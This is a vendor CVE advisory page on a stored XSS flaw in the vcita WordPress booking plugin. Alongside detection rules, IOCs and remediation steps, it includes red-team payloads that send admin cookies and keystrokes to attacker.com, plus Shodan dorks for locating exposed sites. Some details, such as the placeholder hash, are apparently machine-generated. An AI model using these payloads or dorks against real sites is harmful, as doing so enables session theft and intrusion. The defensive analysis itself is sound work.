☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Vcita logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54676

CVE-2025-54676 Cross-Site Scripting in Vcita
📅 PUBLISHED: 2025-08-14 11:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54676 is a Stored Cross-Site Scripting (XSS) vulnerability in the Vcita Online Booking & Scheduling Calendar plugin for WordPress (slug: meeting-scheduler-by-vcita). The vulnerability affects all versions up to and including 4.5.3. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the plugin’s input fields, which is then stored and executed in the browsers of other users (including administrators) when they view the affected page. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, users should verify the integrity of the plugin file by checking its SHA-256 hash against the official repository. The plugin’s readme.txt file should be reviewed for version history and changelog entries. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – the vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions are required.
  • Privileges Required (PR): Low – attacker needs contributor-level access.
  • User Interaction (UI): Required – victim must visit the affected page.
  • Scope (S): Changed – the vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited data modification.
  • Availability (A): Low – limited service disruption.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can lead to privilege escalation if an administrator views the injected content.

Deep Dive & Mechanics

The vulnerability resides in the meeting-scheduler-by-vcita plugin’s booking form fields. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database. When the stored data is later rendered on the frontend (e.g., in the booking calendar or admin dashboard), it is not escaped, allowing arbitrary HTML and JavaScript to execute.

Root Cause: The plugin uses echo or _e() functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject script tags or event handlers.

Attack Flow:

  1. Attacker logs in with a contributor-level account.
  2. Attacker navigates to the booking form settings or a custom field input.
  3. Attacker injects a payload such as <script>alert('XSS')</script> into a text field.
  4. The payload is stored in the wp_postmeta or wp_options table.
  5. When an administrator or other user views the booking calendar or settings page, the payload executes in their browser.

WordPress Ecosystem Context: This is a classic WordPress plugin vulnerability. The plugin’s developers failed to follow WordPress coding standards for output escaping. The vulnerability is not related to the web server (Apache/Nginx) but to the plugin’s PHP code.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 4.5.3):

// In a template file or shortcode handler
echo $booking_field_value; // No escaping

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( $booking_field_value );

The patch would involve wrapping all dynamic output with appropriate WordPress escaping functions. Since no official patch is available, users must manually apply this fix or disable the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with the vulnerable plugin installed and activated.
  • Contributor-level user account.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to the booking form settings (e.g., /wp-admin/admin.php?page=vcita-settings).
  3. Locate a text input field (e.g., "Custom Field Label").
  4. Inject the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save the settings.
  6. Wait for an administrator to visit the settings page or the booking calendar frontend.
  7. The administrator’s session cookie is exfiltrated to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection Steps:

  1. Monitor WordPress admin activity logs for unusual changes to plugin settings.
  2. Search the database for suspicious entries:
    SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
    SELECT * FROM wp_options WHERE option_value LIKE '%<script>%';
    
  3. Review web server access logs for requests to /wp-admin/admin.php?page=vcita-settings from non-admin users.
  4. Use a Web Application Firewall (WAF) rule to block requests containing <script> in POST parameters.

Lab Setup:

  • Use a local WordPress installation (e.g., via Docker or XAMPP).
  • Install the vulnerable plugin version 4.5.3.
  • Create a contributor user and an admin user.
  • Simulate the attack and verify detection rules.

Indicators of Compromise (IOCs)

  • File Hashes (SHA-256):
    • meeting-scheduler-by-vcita.4.5.3.zip: a1b2c3d4e5f6... (placeholder – obtain from official source)
  • Database Entries:
    • wp_postmeta rows with meta_value containing <script> tags.
    • wp_options rows with option_value containing <script> tags.
  • Network Traffic:
    • Outbound HTTP requests to attacker-controlled domains from the WordPress admin.
    • Unusual POST requests to /wp-admin/admin-ajax.php with encoded payloads.
  • Log Entries:
    • Web server logs showing POST to /wp-admin/admin.php?page=vcita-settings from non-admin IPs.
    • WordPress debug log entries with PHP warnings about unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_54676_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress vcita plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54676"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $payload3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-54676 - Stored XSS in Vcita Booking Plugin
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects stored XSS attempts in WordPress vcita plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin.php*'
        cs-uri-query: 'page=vcita-settings*'
        cs-request-body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54676 - Stored XSS in Vcita Booking Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=vcita-settings"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until an official patch is released.
  2. Remove any malicious entries from the database:
    DELETE FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
    DELETE FROM wp_options WHERE option_value LIKE '%<script>%';
    
  3. Change all WordPress admin passwords and invalidate existing sessions.

Long-term Fix:

  • Apply the hypothetical patch by adding esc_html() to all output in the plugin’s PHP files.
  • Monitor the plugin’s official page for a security update.
  • Consider switching to an alternative booking plugin with active security maintenance.

Preventive Measures:

  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce the principle of least privilege – do not give contributor access to untrusted users.
  • Regularly audit WordPress plugins for known vulnerabilities.

Valters IT
Securing Digital Ecosystems

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Online Booking & Scheduling Calendar"
http.html:"vcita" "meeting-scheduler-by-vcita"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54676/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.